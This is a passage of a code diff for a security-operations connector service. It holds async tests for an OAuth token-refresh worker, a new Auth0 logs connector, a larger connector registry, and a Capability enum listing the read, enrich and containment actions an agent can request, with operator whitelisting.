+ assert parsed == datetime(2026, 1, 1, tzinfo=UTC)
+
+
[email protected]("value", [None, "", "not-a-date", 123, []])
+def test_parse_expires_at_rejects_garbage(value: Any) -> None:
+ assert worker._parse_expires_at(value) is None
+
+
+# ------------------------------------------------------- _resolve_token_url
+
+
+def test_resolve_token_url_prefers_tenant_override() -> None:
+ """Per-tenant ``token_url`` wins over catalog hints."""
+ cred = _FakeAppCredential(token_url="https://override.example.com/token")
+ hints = {"token_url": "https://catalog.example.com/token"}
+ assert (
+ worker._resolve_token_url(cred, hints)
+ == "https://override.example.com/token"
+ )
+
+
+def test_resolve_token_url_falls_back_to_hints() -> None:
+ cred = _FakeAppCredential(token_url=None)
+ hints = {"token_url": "https://catalog.example.com/token"}
+ assert (
+ worker._resolve_token_url(cred, hints)
+ == "https://catalog.example.com/token"
+ )
+
+
+def test_resolve_token_url_returns_none_when_unresolved() -> None:
+ """Worker logs + skips rather than raising — keep loop alive."""
+ cred = _FakeAppCredential(token_url=None)
+ assert worker._resolve_token_url(cred, {}) is None
+
+
+def test_resolve_token_url_strips_whitespace() -> None:
+ cred = _FakeAppCredential(token_url=" https://provider/token ")
+ assert worker._resolve_token_url(cred, {}) == "https://provider/token"
+
+
+# ------------------------------------------------------- _record_failure
+
+
+async def test_record_failure_increments_below_threshold() -> None:
+ """Below the alarm threshold we bump the counter without flipping health."""
+ conn = _FakeConnector(oauth_refresh_failures=0, health_status="healthy")
+ db = _mock_db()
+
+ await worker._record_failure(
+ db, connector=conn, alarm_threshold=3, reason="http_500"
+ )
+
+ db.execute.assert_awaited_once()
+ db.commit.assert_awaited_once()
+
+ # The .values() block we send to SQLAlchemy must increment the counter
+ # but NOT overwrite health_status until threshold is reached.
+ update_call = db.execute.call_args.args[0]
+ compiled = update_call.compile().params
+ assert compiled["oauth_refresh_failures"] == 1
+ assert "health_status" not in compiled
+
+
+async def test_record_failure_trips_alarm_at_threshold() -> None:
+ """At ``alarm_threshold`` consecutive failures we flip to unhealthy."""
+ conn = _FakeConnector(oauth_refresh_failures=2, health_status="healthy")
+ db = _mock_db()
+
+ await worker._record_failure(
+ db, connector=conn, alarm_threshold=3, reason="invalid_grant"
+ )
+
+ update_call = db.execute.call_args.args[0]
+ compiled = update_call.compile().params
+ assert compiled["oauth_refresh_failures"] == 3
+ assert compiled["health_status"] == "unhealthy"
+
+
+# ------------------------------------------------------- _refresh_one
+
+
+def patched_vault(monkeypatch: pytest.MonkeyPatch) -> CredentialVault:
+ """Replace the global vault with a hermetic one for every test."""
+ vault = _build_vault()
+ monkeypatch.setattr(worker, "get_vault", lambda: vault)
+ return vault
+
+
+async def test_refresh_one_happy_path(
+ patched_vault: CredentialVault, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ """Successful refresh rotates tokens, zeros counter, restores health."""
+ # Build a connector with an encrypted refresh_token + expires_at.
+ auth_payload = {
+ "access_token": "old-access",
+ "refresh_token": "stable-refresh",
+ "expires_at": "2026-01-01T00:00:00+00:00",
+ }
+ conn = _FakeConnector(
+ auth_config=patched_vault.encrypt_dict(auth_payload),
+ oauth_refresh_failures=2,
+ health_status="unhealthy",
+ )
+
+ # App credential lookup returns a credential whose secret decrypts cleanly.
+ cred = _FakeAppCredential(
+ client_secret_vault=patched_vault.encrypt("super-secret"),
+ )
+ db = _mock_db(app_credential=cred)
+
+ # Bypass the catalog HTTP call.
+ monkeypatch.setattr(
+ worker._CatalogResolver,
+ "hints_for",
+ AsyncMock(return_value={"token_url": "https://provider/token"}),
+ )
+
+ # Mock the OAuth token endpoint response.
+ fake_response = MagicMock()
+ fake_response.raise_for_status = MagicMock()
+ fake_response.json.return_value = {
+ "access_token": "fresh-access",
+ "refresh_token": "rotated-refresh",
+ "expires_in": 3600,
+ "token_type": "Bearer",
+ }
+ mock_post = AsyncMock(return_value=fake_response)
+
+ with patch("httpx.AsyncClient") as client_cls:
+ client_cls.return_value.__aenter__.return_value.post = mock_post
+
+ ok = await worker._refresh_one(
+ db, connector=conn, timeout_s=5.0, alarm_threshold=3
+ )
+
+ assert ok is True
+ mock_post.assert_awaited_once()
+ # The body must use grant_type=refresh_token with the decrypted refresh.
+ posted_body = mock_post.call_args.kwargs["data"]
+ assert posted_body["grant_type"] == "refresh_token"
+ assert posted_body["refresh_token"] == "stable-refresh"
+ assert posted_body["client_id"] == cred.client_id
+ assert posted_body["client_secret"] == "super-secret"
+
+ # Two writes: app_credential SELECT happens *before* the post; the
+ # success path issues exactly one UPDATE+commit.
+ assert db.commit.await_count == 1
+
+
+async def test_refresh_one_4xx_records_failure(
+ patched_vault: CredentialVault, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ """A 4xx (e.g. invalid_grant) trips the failure path with the status code."""
+ auth_payload = {
+ "refresh_token": "revoked-refresh",
+ "expires_at": "2026-01-01T00:00:00+00:00",
+ }
+ conn = _FakeConnector(
+ auth_config=patched_vault.encrypt_dict(auth_payload),
+ oauth_refresh_failures=2, # next failure trips the alarm
+ health_status="healthy",
+ )
+ cred = _FakeAppCredential(
+ client_secret_vault=patched_vault.encrypt("super-secret"),
+ )
+ db = _mock_db(app_credential=cred)
+
+ monkeypatch.setattr(
+ worker._CatalogResolver,
+ "hints_for",
+ AsyncMock(return_value={}),
+ )
+
+ bad_response = MagicMock()
+ bad_response.status_code = 400
+ bad_response.text = '{"error":"invalid_grant"}'
+ bad_response.raise_for_status = MagicMock(
+ side_effect=httpx.HTTPStatusError(
+ "400", request=MagicMock(), response=bad_response
+ )
+ )
+ mock_post = AsyncMock(return_value=bad_response)
+
+ with patch("httpx.AsyncClient") as client_cls:
+ client_cls.return_value.__aenter__.return_value.post = mock_post
+
+ ok = await worker._refresh_one(
+ db, connector=conn, timeout_s=5.0, alarm_threshold=3
+ )
+
+ assert ok is False
+ # Last UPDATE should set health_status=unhealthy because we crossed 3.
+ last_update = db.execute.call_args_list[-1].args[0]
+ compiled = last_update.compile().params
+ assert compiled["oauth_refresh_failures"] == 3
+ assert compiled["health_status"] == "unhealthy"
+
+
+async def test_refresh_one_network_error_no_alarm_yet(
+ patched_vault: CredentialVault, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ """A transient ``ConnectError`` increments the counter without alarming."""
+ auth_payload = {"refresh_token": "ok"}
+ conn = _FakeConnector(
+ auth_config=patched_vault.encrypt_dict(auth_payload),
+ oauth_refresh_failures=0,
+ )
+ cred = _FakeAppCredential(
+ client_secret_vault=patched_vault.encrypt("super-secret"),
+ )
+ db = _mock_db(app_credential=cred)
+
+ monkeypatch.setattr(
+ worker._CatalogResolver,
+ "hints_for",
+ AsyncMock(return_value={}),
+ )
+
+ mock_post = AsyncMock(side_effect=httpx.ConnectError("dns_failed"))
+ with patch("httpx.AsyncClient") as client_cls:
+ client_cls.return_value.__aenter__.return_value.post = mock_post
+
+ ok = await worker._refresh_one(
+ db, connector=conn, timeout_s=5.0, alarm_threshold=3
+ )
+
+ assert ok is False
+ last_update = db.execute.call_args_list[-1].args[0]
+ compiled = last_update.compile().params
+ assert compiled["oauth_refresh_failures"] == 1
+ assert "health_status" not in compiled
+
+
+async def test_refresh_one_missing_app_credential(
+ patched_vault: CredentialVault, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ """No OAuthAppCredential row → record failure with that reason, no POST."""
+ auth_payload = {"refresh_token": "ok"}
+ conn = _FakeConnector(
+ auth_config=patched_vault.encrypt_dict(auth_payload),
+ )
+ db = _mock_db()
+ # default scalar_one_or_none returns None — simulates missing row.
+
+ monkeypatch.setattr(
+ worker._CatalogResolver,
+ "hints_for",
+ AsyncMock(return_value={}),
+ )
+
+ with patch("httpx.AsyncClient") as client_cls:
+ ok = await worker._refresh_one(
+ db, connector=conn, timeout_s=5.0, alarm_threshold=3
+ )
+
+ assert ok is False
+ # We never reached the POST step.
+ client_cls.assert_not_called()
+ # We did record a failure (one execute for SELECT + one for UPDATE).
+ assert db.execute.await_count >= 2
+ assert db.commit.await_count == 1
+
+
+async def test_refresh_one_missing_token_url(
+ patched_vault: CredentialVault, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ """Token URL unresolvable → failure recorded, no POST."""
+ auth_payload = {"refresh_token": "ok"}
+ conn = _FakeConnector(
+ auth_config=patched_vault.encrypt_dict(auth_payload),
+ )
+ cred = _FakeAppCredential(
+ client_secret_vault=patched_vault.encrypt("super-secret"),
+ token_url=None,
+ )
+ db = _mock_db(app_credential=cred)
+
+ monkeypatch.setattr(
+ worker._CatalogResolver,
+ "hints_for",
+ AsyncMock(return_value={}), # no token_url anywhere
+ )
+
+ with patch("httpx.AsyncClient") as client_cls:
+ ok = await worker._refresh_one(
+ db, connector=conn, timeout_s=5.0, alarm_threshold=3
+ )
+
+ assert ok is False
+ client_cls.assert_not_called()
+
+
+async def test_refresh_one_keeps_existing_refresh_token_when_provider_omits(
+ patched_vault: CredentialVault, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ """Auth0-style: provider returns access_token only, we keep the old refresh."""
+ auth_payload = {
+ "access_token": "old",
+ "refresh_token": "keep-me",
+ "expires_at": "2026-01-01T00:00:00+00:00",
+ }
+ conn = _FakeConnector(
+ auth_config=patched_vault.encrypt_dict(auth_payload),
+ )
+ cred = _FakeAppCredential(
+ client_secret_vault=patched_vault.encrypt("super-secret"),
+ )
+ db = _mock_db(app_credential=cred)
+
+ monkeypatch.setattr(
+ worker._CatalogResolver,
+ "hints_for",
+ AsyncMock(return_value={}),
+ )
+
+ fake_response = MagicMock()
+ fake_response.raise_for_status = MagicMock()
+ # No refresh_token in response → keep the old one.
+ fake_response.json.return_value = {
+ "access_token": "fresh",
+ "expires_in": 3600,
+ }
+ mock_post = AsyncMock(return_value=fake_response)
+
+ with patch("httpx.AsyncClient") as client_cls:
+ client_cls.return_value.__aenter__.return_value.post = mock_post
+ ok = await worker._refresh_one(
+ db, connector=conn, timeout_s=5.0, alarm_threshold=3
+ )
+ assert ok is True
+
+ # Decrypt the auth_config we wrote and verify refresh_token survived.
+ last_update = db.execute.call_args_list[-1].args[0]
+ new_auth_config = last_update.compile().params["auth_config"]
+ decrypted = patched_vault.decrypt_dict(new_auth_config)
+ assert decrypted["access_token"] == "fresh"
+ assert decrypted["refresh_token"] == "keep-me"
+
+
+# ------------------------------------------------------- run_forever loop
+
+
+async def test_run_forever_exits_on_stop_event(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ """``stop_event`` provides a deterministic shutdown for tests."""
+ import asyncio
+
+ monkeypatch.setattr(worker.settings, "OAUTH_REFRESH_INTERVAL_SECONDS", 5)
+ monkeypatch.setattr(
+ worker, "run_once", AsyncMock(return_value={"checked": 0, "refreshed": 0, "failed": 0})
+ )
+
+ stop = asyncio.Event()
+ stop.set()
+ await worker.run_forever(stop_event=stop)
+ # If we got here, the loop exited cleanly without raising.
+
+
+async def test_run_forever_swallows_exceptions(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ """A bug in run_once must not kill the loop — durability is the point."""
+ import asyncio
+
+ monkeypatch.setattr(worker.settings, "OAUTH_REFRESH_INTERVAL_SECONDS", 5)
+
+ call_count = {"n": 0}
+
+ async def flaky_run_once() -> dict[str, int]:
+ call_count["n"] += 1
+ if call_count["n"] == 1:
+ raise RuntimeError("transient db blip")
+ return {"checked": 0, "refreshed": 0, "failed": 0}
+
+ monkeypatch.setattr(worker, "run_once", flaky_run_once)
+
+ stop = asyncio.Event()
+
+ async def stop_after_two_ticks() -> None:
+ # Wait long enough for run_once to be called at least twice.
+ while call_count["n"] < 2:
+ await asyncio.sleep(0.01)
+ stop.set()
+
+ # Drive the cadence fast for the test by replacing wait_for sleep.
+ real_wait_for = asyncio.wait_for
+
+ async def fast_wait_for(awaitable: Any, timeout: float) -> Any:
+ return await real_wait_for(awaitable, timeout=0.05)
+
+ monkeypatch.setattr(asyncio, "wait_for", fast_wait_for)
+
+ await asyncio.gather(
+ worker.run_forever(stop_event=stop),
+ stop_after_two_ticks(),
+ )
+
+ # The loop survived the first-tick exception and ran again.
+ assert call_count["n"] >= 2
diff --git a/services/connectors/app/api/router.py b/services/connectors/app/api/router.py
index 958fb3511..7fa577c32 100644
--- a/services/connectors/app/api/router.py
+++ b/services/connectors/app/api/router.py
@@ -117,7 +117,12 @@ async def get_connector_schema(connector_id: str):
cls = CONNECTOR_REGISTRY.get(connector_id)
if cls is None:
raise HTTPException(status_code=404, detail=f"Connector '{connector_id}' not found")
- return cls.schema().to_dict()
+ schema_dict = cls.schema().to_dict()
+ # Backfill capabilities from the classmethod when ``schema()`` didn't
+ # set them explicitly. See ``list_connector_schemas`` for rationale.
+ if not schema_dict.get("capabilities"):
+ schema_dict["capabilities"] = [c.value for c in cls.capabilities()]
+ return schema_dict
@router.post("/connectors/{connector_id}/test")
diff --git a/services/connectors/app/connectors/__init__.py b/services/connectors/app/connectors/__init__.py
index 02949d4a0..24529ec52 100644
--- a/services/connectors/app/connectors/__init__.py
+++ b/services/connectors/app/connectors/__init__.py
@@ -16,31 +16,47 @@ from __future__ import annotations
from typing import TYPE_CHECKING
+from app.connectors.auth0 import Auth0Connector
from app.connectors.aws_security_hub import AWSSecurityHubConnector
from app.connectors.azure_activity import AzureActivityConnector
from app.connectors.azure_defender import AzureDefenderConnector
from app.connectors.azure_entra import AzureEntraConnector
from app.connectors.base import BaseConnector, ConnectorSchema, Field, OAuthHints
+from app.connectors.carbon_black import CarbonBlackConnector
+from app.connectors.chronicle import ChronicleConnector
+from app.connectors.cisco_umbrella import CiscoUmbrellaConnector
from app.connectors.cloudflare import CloudflareConnector
from app.connectors.cortex_xdr import CortexXDRConnector
+from app.connectors.cortex_xsiam import CortexXSIAMConnector
from app.connectors.crowdstrike import CrowdStrikeConnector
+from app.connectors.datadog_cloud_siem import DatadogCloudSIEMConnector
from app.connectors.duo_security import DuoSecurityConnector
from app.connectors.elastic import ElasticConnector
+from app.connectors.email_inbox import EmailInboxConnector
from app.connectors.gcp_cloud_audit import GCPCloudAuditConnector
from app.connectors.gcp_scc import GCPSCCConnector
from app.connectors.github import GitHubConnector
from app.connectors.google_workspace import GoogleWorkspaceConnector
from app.connectors.jira_connector import JiraConnector
+from app.connectors.lacework import LaceworkConnector
from app.connectors.m365_audit import M365AuditConnector
from app.connectors.microsoft_sentinel import MicrosoftSentinelConnector
+from app.connectors.mimecast import MimecastConnector
from app.connectors.okta import OktaConnector
from app.connectors.onepassword import OnePasswordConnector
from app.connectors.proofpoint import ProofpointConnector
+from app.connectors.rapid7_insightidr import Rapid7InsightIDRConnector
+from app.connectors.salesforce import SalesforceConnector
from app.connectors.sentinelone import SentinelOneConnector
from app.connectors.servicenow import ServiceNowConnector
+from app.connectors.slack_audit import SlackAuditConnector
from app.connectors.snyk import SnykConnector
from app.connectors.splunk import SplunkConnector
+from app.connectors.sumo_logic import SumoLogicConnector
from app.connectors.tailscale import TailscaleConnector
+from app.connectors.tenable import TenableConnector
+from app.connectors.trellix_helix import TrellixHelixConnector
+from app.connectors.trend_vision_one import TrendVisionOneConnector
from app.connectors.wiz import WizConnector
from app.connectors.zscaler import ZscalerConnector
@@ -52,29 +68,45 @@ if TYPE_CHECKING:
# Keep alphabetised by connector_id for predictable diffs.
_CONNECTOR_CLASSES: tuple[type[BaseConnector], ...] = (
AWSSecurityHubConnector,
+ Auth0Connector,
AzureActivityConnector,
AzureDefenderConnector,
AzureEntraConnector,
+ CarbonBlackConnector,
+ ChronicleConnector,
+ CiscoUmbrellaConnector,
CloudflareConnector,
CortexXDRConnector,
+ CortexXSIAMConnector,
CrowdStrikeConnector,
+ DatadogCloudSIEMConnector,
DuoSecurityConnector,
ElasticConnector,
+ EmailInboxConnector,
GCPCloudAuditConnector,
GCPSCCConnector,
GitHubConnector,
GoogleWorkspaceConnector,
JiraConnector,
+ LaceworkConnector,
M365AuditConnector,
MicrosoftSentinelConnector,
+ MimecastConnector,
OktaConnector,
OnePasswordConnector,
ProofpointConnector,
+ Rapid7InsightIDRConnector,
+ SalesforceConnector,
SentinelOneConnector,
ServiceNowConnector,
+ SlackAuditConnector,
SnykConnector,
SplunkConnector,
+ SumoLogicConnector,
TailscaleConnector,
+ TenableConnector,
+ TrellixHelixConnector,
+ TrendVisionOneConnector,
WizConnector,
ZscalerConnector,
)
@@ -102,40 +134,70 @@ def get_connector_class(connector_id: str) -> type[BaseConnector] | None:
def list_connector_schemas() -> list[dict]:
- """Return every registered connector's schema in JSON-serialisable form."""
- return [cls.schema().to_dict() for cls in CONNECTOR_REGISTRY.values()]
+ """Return every registered connector's schema in JSON-serialisable form.
+
+ This is also the injection point for Workstream 4 capabilities. Connector
+ authors can either pass ``capabilities=cls.capabilities()`` explicitly to
+ :class:`ConnectorSchema`, or leave it empty and we'll backfill from the
+ ``capabilities()`` classmethod here. Backfill makes the migration
+ incremental — we add ``capabilities()`` to each connector class without
+ having to touch its ``schema()`` body in the same change.
+ """
+ out: list[dict] = []
+ for cls in CONNECTOR_REGISTRY.values():
+ d = cls.schema().to_dict()
+ if not d.get("capabilities"):
+ d["capabilities"] = [c.value for c in cls.capabilities()]
+ out.append(d)
+ return out
__all__ = [
"AWSSecurityHubConnector",
+ "Auth0Connector",
"AzureActivityConnector",
"AzureDefenderConnector",
"AzureEntraConnector",
"BaseConnector",
"CONNECTOR_REGISTRY",
+ "CarbonBlackConnector",
+ "ChronicleConnector",
+ "CiscoUmbrellaConnector",
"CloudflareConnector",
"ConnectorSchema",
"CortexXDRConnector",
+ "CortexXSIAMConnector",
"CrowdStrikeConnector",
+ "DatadogCloudSIEMConnector",
"DuoSecurityConnector",
"ElasticConnector",
+ "EmailInboxConnector",
"Field",
"GCPCloudAuditConnector",
"GCPSCCConnector",
"GitHubConnector",
"GoogleWorkspaceConnector",
"JiraConnector",
+ "LaceworkConnector",
"M365AuditConnector",
"MicrosoftSentinelConnector",
+ "MimecastConnector",
"OAuthHints",
"OktaConnector",
"OnePasswordConnector",
"ProofpointConnector",
+ "Rapid7InsightIDRConnector",
+ "SalesforceConnector",
"SentinelOneConnector",
"ServiceNowConnector",
+ "SlackAuditConnector",
"SnykConnector",
"SplunkConnector",
+ "SumoLogicConnector",
"TailscaleConnector",
+ "TenableConnector",
+ "TrellixHelixConnector",
+ "TrendVisionOneConnector",
"WizConnector",
"ZscalerConnector",
"get_connector_class",
diff --git a/services/connectors/app/connectors/auth0.py b/services/connectors/app/connectors/auth0.py
new file mode 100644
index 000000000..489890d0c
--- /dev/null
+++ b/services/connectors/app/connectors/auth0.py
@@ -0,0 +1,161 @@
+"""
+Auth0 Logs connector.
+
+Auth0 exposes tenant logs at /api/v2/logs. Auth is via a Management
+API token issued from a Machine-to-Machine application authorized
+against the Management API. The connector takes domain + client
+credentials and exchanges them at runtime.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import (
+ BaseConnector,
+ Capability,
+ ConnectorSchema,
+ Field,
+ OAuthHints,
+)
+
+logger = structlog.get_logger()
+
+
+class Auth0Connector(BaseConnector):
+ """Auth0 tenant logs."""
+
+ connector_id = "auth0"
+ connector_name = "Auth0"
+ connector_category = "iam"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Auth0 tenant logs. Pulls login events, MFA events, and admin "
+ "actions via the Management API."
+ ),
+ docs_url="/docs/connectors/auth0",
+ fields=[
+ Field(
+ "domain",
+ "string",
+ "Auth0 Domain",
+ placeholder="yourcorp.us.auth0.com",
+ ),
+ Field("client_id", "string", "M2M Client ID"),
+ Field("client_secret", "secret", "M2M Client Secret"),
+ ],
+ oauth=OAuthHints(
+ supported_in_hosted=True,
+ authorize_url="https://AUTH0_DOMAIN/authorize",
+ token_url="https://AUTH0_DOMAIN/oauth/token",
+ scopes=["read:logs", "read:logs_users"],
+ ),
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_AUDIT,
+ Capability.PIVOT_USER,
+ Capability.READ_AUDIT_TRAIL,
+ )
+
+ def __init__(self, domain: str, client_id: str, client_secret: str):
+ self._domain = domain
+ self._client_id = client_id
+ self._client_secret = client_secret
+ self._base = f"https://{domain}"
+
+ async def _bearer(self) -> str | None:
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.post(
+ f"{self._base}/oauth/token",
+ json={
+ "grant_type": "client_credentials",
+ "client_id": self._client_id,
+ "client_secret": self._client_secret,
+ "audience": f"{self._base}/api/v2/",
+ },
+ headers={"Content-Type": "application/json"},
+ )
+ if resp.status_code == 200:
+ return (resp.json() or {}).get("access_token")
+ logger.warning(
+ "auth0.token_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return None
+ except Exception as exc:
+ logger.warning("auth0.token_exception", error=str(exc))
+ return None
+
+ async def test_connection(self) -> dict[str, Any]:
+ token = await self._bearer()
+ if not token:
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": "could not exchange client credentials for management token",
+ }
+ return {"success": True, "connector": self.connector_id}
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ token = await self._bearer()
+ if not token:
+ return []
+ since = (datetime.now(UTC) - timedelta(seconds=since_seconds)).strftime(
+ "%Y-%m-%dT%H:%M:%S.000Z"
+ )
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ resp = await client.get(
+ f"{self._base}/api/v2/logs",
+ headers={
+ "Authorization": f"Bearer {token}",
+ "Accept": "application/json",
+ },
+ params={
+ "q": f"date:[{since} TO *]",
+ "per_page": 100,
+ "sort": "date:-1",
+ },
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "auth0.fetch_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return []
+ items = resp.json() or []
+ return [self.normalize(i) for i in items]
+ except Exception as exc:
+ logger.warning("auth0.fetch_exception", error=str(exc))
+ return []
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ type_code = (raw.get("type") or "").lower()
+ # Auth0 type codes: 'f' = failed login, 's' = success, 'fu' = failed user, etc.
+ sev = "high" if type_code.startswith("f") else "info"
+ return {
+ "source": "auth0",
+ "category": "iam",
+ "severity": sev,
+ "title": f"Auth0 event: {raw.get('description') or type_code}",
+ "description": raw.get("user_name") or raw.get("ip"),
+ "alert_id": raw.get("_id") or raw.get("log_id"),
+ "host": None,
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/aws_security_hub.py b/services/connectors/app/connectors/aws_security_hub.py
index 442a25e9e..3c45368f2 100644
--- a/services/connectors/app/connectors/aws_security_hub.py
+++ b/services/connectors/app/connectors/aws_security_hub.py
@@ -10,7 +10,7 @@ from typing import Any
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
logger = structlog.get_logger()
@@ -47,6 +47,12 @@ class AWSSecurityHubConnector(BaseConnector):
],
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Security Hub aggregates findings from GuardDuty/Inspector/Macie/3p partners,
+ # which we surface to the agent layer as alerts.
+ return (Capability.PULL_ALERTS,)
+
def __init__(self, region: str = "us-east-1", access_key: str = "", secret_key: str = ""):
self._region = region
self._access_key = access_key
diff --git a/services/connectors/app/connectors/azure_activity.py b/services/connectors/app/connectors/azure_activity.py
index df00708a1..a8c84ed50 100644
--- a/services/connectors/app/connectors/azure_activity.py
+++ b/services/connectors/app/connectors/azure_activity.py
@@ -23,7 +23,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field, OAuthHints
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field, OAuthHints
logger = structlog.get_logger()
@@ -89,6 +89,11 @@ class AzureActivityConnector(BaseConnector):
),
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Azure Activity Logs are control-plane audit events, not security alerts.
+ return (Capability.PULL_AUDIT,)
+
def __init__(
self,
tenant_id: str,
diff --git a/services/connectors/app/connectors/azure_defender.py b/services/connectors/app/connectors/azure_defender.py
index 1e94ea144..7634b05cf 100644
--- a/services/connectors/app/connectors/azure_defender.py
+++ b/services/connectors/app/connectors/azure_defender.py
@@ -23,7 +23,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field, OAuthHints
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field, OAuthHints
logger = structlog.get_logger()
@@ -64,6 +64,11 @@ class AzureDefenderConnector(BaseConnector):
),
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Microsoft 365 Defender unified alerts feed.
+ return (Capability.PULL_ALERTS,)
+
def __init__(self, tenant_id: str, client_id: str, client_secret: str):
self._tenant_id = tenant_id
self._client_id = client_id
diff --git a/services/connectors/app/connectors/azure_entra.py b/services/connectors/app/connectors/azure_entra.py
index ebee4d003..c549a2b87 100644
--- a/services/connectors/app/connectors/azure_entra.py
+++ b/services/connectors/app/connectors/azure_entra.py
@@ -25,7 +25,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field, OAuthHints
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field, OAuthHints
logger = structlog.get_logger()
@@ -72,6 +72,11 @@ class AzureEntraConnector(BaseConnector):
),
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Entra ID surfaces both directory audits and risky sign-ins.
+ return (Capability.PULL_AUDIT, Capability.PULL_ALERTS)
+
def __init__(self, tenant_id: str, client_id: str, client_secret: str):
self._tenant_id = tenant_id
self._client_id = client_id
diff --git a/services/connectors/app/connectors/base.py b/services/connectors/app/connectors/base.py
index e8f2d4129..e45838109 100644
--- a/services/connectors/app/connectors/base.py
+++ b/services/connectors/app/connectors/base.py
@@ -20,11 +20,156 @@ from __future__ import annotations
from abc import ABC, abstractmethod
from dataclasses import asdict, dataclass, field
-from typing import TYPE_CHECKING, Any, Literal
+from enum import Enum
+from typing import TYPE_CHECKING, Any, Iterable, Literal
if TYPE_CHECKING:
from app.federated.query import UnifiedQuery
+
+# ---------------------------------------------------------------------------
+# Capability taxonomy (Workstream 4)
+#
+# Capabilities describe *what an agent can ask a connector to do*, not how the
+# connector is configured. They are intentionally coarse-grained so the agent
+# can plan ("I want to isolate a host" → look for any connector exposing
+# ``ISOLATE_HOST``) without tripping over vendor-specific verbs.
+#
+# Buckets — keep in sync with the plan doc (READ / QUERY / PIVOT / ENRICH /
+# CONTAIN / REMEDIATE / TICKET / AUDIT). Adding a new capability:
+# 1. Add the enum member here.
+# 2. Update the relevant connectors' ``capabilities()`` classmethod.
+# 3. Update ``test_capabilities`` in ``services/connectors/tests/test_capabilities.py``.
+#
+# Per-instance downscoping happens in the API layer: an operator can store an
+# ``allowed_capabilities`` whitelist on a ``Connector`` row and the agent
+# router will intersect it with the connector class's declared capabilities.
+# ---------------------------------------------------------------------------
+
+
+class Capability(str, Enum):
+ """Action verbs an agent can ask a connector to perform.
+
+ String-valued enum so JSON serialisation is human-readable on the wire
+ (``"isolate_host"`` not ``"Capability.ISOLATE_HOST"``).
+
+ Naming matches the plan's taxonomy exactly. The ``PULL_*`` prefix on
+ READ verbs is deliberate — these are *passive* polling reads, distinct
+ from ``QUERY_*`` (active ad-hoc search) and ``ENRICH_*`` (single-entity
+ lookup). Keeping the verbs distinct lets the agent reason about cost
+ and latency: ``PULL_ALERTS`` is "what landed in the lake already";
+ ``QUERY_LOGS`` is "go ask the source right now"; ``ENRICH_USER`` is
+ "single round-trip for one entity".
+ """
+
+ # READ — passive pulls of events / records the source already produced.
+ PULL_ALERTS = "pull_alerts"
+ PULL_LOGS = "pull_logs"
+ PULL_AUDIT = "pull_audit"
+ PULL_PCAP = "pull_pcap"
+ PULL_FILE = "pull_file"
+
+ # QUERY — ad-hoc search across the source's index.
+ QUERY_LOGS = "query_logs"
+ QUERY_PROCESSES = "query_processes"
+
+ # PIVOT — "given this entity, return everything you know about it".
+ PIVOT_USER = "pivot_user"
+ PIVOT_HOST = "pivot_host"
+ PIVOT_IP = "pivot_ip"
+ PIVOT_HASH = "pivot_hash"
+ PIVOT_DOMAIN = "pivot_domain"
+
+ # ENRICH — return contextual reputation / metadata for a single entity.
+ ENRICH_USER = "enrich_user"
+ ENRICH_HOST = "enrich_host"
+ ENRICH_IOC = "enrich_ioc"
+ ENRICH_DOMAIN = "enrich_domain"
+ ENRICH_VULN = "enrich_vuln"
+ ENRICH_ASSET = "enrich_asset"
+
+ # CONTAIN / REMEDIATE — kinetic actions.
+ ISOLATE_HOST = "isolate_host"
+ UNISOLATE_HOST = "unisolate_host"
+ KILL_PROCESS = "kill_process"
+ QUARANTINE_FILE = "quarantine_file"
+ BLOCK_HASH = "block_hash"
+ BLOCK_DOMAIN = "block_domain"
+ BLOCK_USER_SIGNIN = "block_user_signin"
+ DISABLE_USER = "disable_user"
+ REVOKE_SESSION = "revoke_session"
+ RESET_PASSWORD = "reset_password"
+ REVOKE_TOKEN = "revoke_token"
+
+ # TICKET — bidirectional ITSM (Jira / ServiceNow / etc.).
+ PUSH_CASE = "push_case"
+ PUSH_STATUS = "push_status"
+
+ # AUDIT — read-only configuration / posture queries.
+ READ_AUDIT_TRAIL = "read_audit_trail"
+
+
+# Ordered groupings used by the UI to render checkbox groups. The agent
+# tools endpoint (``GET /api/v1/agents/tools``) returns the same grouping
+# so the frontend doesn't have to re-derive it.
+CAPABILITY_GROUPS: tuple[tuple[str, tuple[Capability, ...]], ...] = (
+ (
+ "read",
+ (
